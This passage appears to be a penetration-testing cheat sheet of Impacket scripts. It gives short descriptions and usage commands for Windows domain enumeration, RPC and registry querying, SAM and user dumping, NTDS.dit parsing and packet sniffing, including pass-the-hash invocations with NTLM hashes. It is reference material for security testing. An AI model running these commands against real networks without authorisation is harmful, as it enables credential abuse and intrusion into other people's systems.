./lookupsid.py domain/username@10.10.10.149
netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers
./netview.py domain/username -target 192.168.1.103
reg.py: Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility.
./reg.py domain/username@192.168.1.103 query -keyName HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows -s
./reg.py domain/username@192.168.1.103 -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2 query -keyname HKU\\
./reg.py domain/username@192.168.1.103 -hashes aad3b435b51404eeaad3b435b51404ee:669b12a3bac275251170afbe2c5de8c2 query -keyname HKU\\Software\\
rpcdump.py: This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints.
./rpcdump.py domain/username@192.168.1.103
./rpcmap.py: Scan for listening DCE/RPC interfaces. This binds to the MGMT interface and gets a list of interface UUIDs. If the MGMT interface is not available, it takes a list of interface UUIDs seen in the wild and tries to bind to each interface.
./rpcmap.py 'ncacn_ip_tcp:10.10.10.213' -brute-uuids -brute-opnums -auth-level 1 -opnum-max 5
ifmap.py: This script will bind to the target`s MGMT interface to get a list of interface IDs. It will used that list on top of another list of interface UUIDs seen in the wild trying to bind to each interface and reports whether the interface is listed and/or listening.
./ifmap.py 192.168.1.103 135
samrdump.py: An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service.
./samrdump.py domain/username@10.10.10.149
services.py: This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change.
./services.py domain/username@10.10.10.149 list
## MSSQL / TDS
mssqlinstance.py: Retrieves the MSSQL instances names from the target host.
mssqlclient.py: An MSSQL client, supporting SQL and Windows Authentications (hashes too). It also supports TLS.
## File Formats
esentutl.py: An Extensibe Storage Engine format implementation. Allows dumping catalog, pages and tables of ESE databases (e.g. NTDS.dit)
ntfs-read.py: NTFS format implementation. This script provides a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
registry-read.py: A Windwows Registry file format implementation. It allows to parse offline registry hives.
## Other
findDelegation.py: Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
GetADUsers.py: This script will gather data about the domain`s users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes.
mqtt_check.py: Simple MQTT example aimed at playing with different login options. Can be converted into a account/password brute forcer quite easily.
rdp_check.py: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation just to reach CredSSP auth. This example test whether an account is valid on the target host.
sniff.py: Simple packet sniffer that uses the pcapy library to listen for packets in # transit over the specified interface.
sniffer.py: Simple packet sniffer that uses a raw socket to listen for packets in transit corresponding to the specified protocols.
ping.py: Simple ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. If the remote host is up, it should reply to the echo probe with an echo-reply packet.
ping6.py: Simple IPv6 ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host.